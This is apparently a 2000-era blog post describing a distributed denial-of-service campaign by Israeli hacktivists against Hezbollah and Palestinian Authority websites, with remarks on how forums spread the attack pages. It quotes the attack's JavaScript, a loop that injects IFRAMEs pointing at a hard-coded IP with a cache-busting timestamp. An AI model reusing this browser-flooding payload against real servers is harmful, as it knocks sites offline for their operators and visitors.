During the current (Oct. 2000)Middle-East crisis, Israeli script kiddies led a Distributed Denial of Service Attack on Hizbulla and PA sites. HTML pages with basic JavaScript requests were used – the script was a loop doing something like this (I took the liberty of cutting and pasting the source):

var s =	"<IFRAME width=20 height=20 border=0 http://216.247.113.144/
		+ new String(Number(new Date())) 
		+ "\"></IFRAME>";
  document.writeln(s); 
  s =	"<IFRAME width=20 height=20 border=0 src=\"http://216.247.113.144/"
		+ new String(Number(new Date()))
		+ "\"></IFRAME>";
  document.writeln(s); 

I’ve seen scripts more elegant in my short life as a programmer. The interesting issue is the social one – Israeli forums all over the net helped spread these pages to tens of thousands of users – by the time Hizbulla and PA webmasters denied access to major Israeli ISP’s, similar attacks were being performed from other countries, mostly USA, UK and South-Africa.

News reports claim that the attacked sites were going on and off line during the past couple of days.

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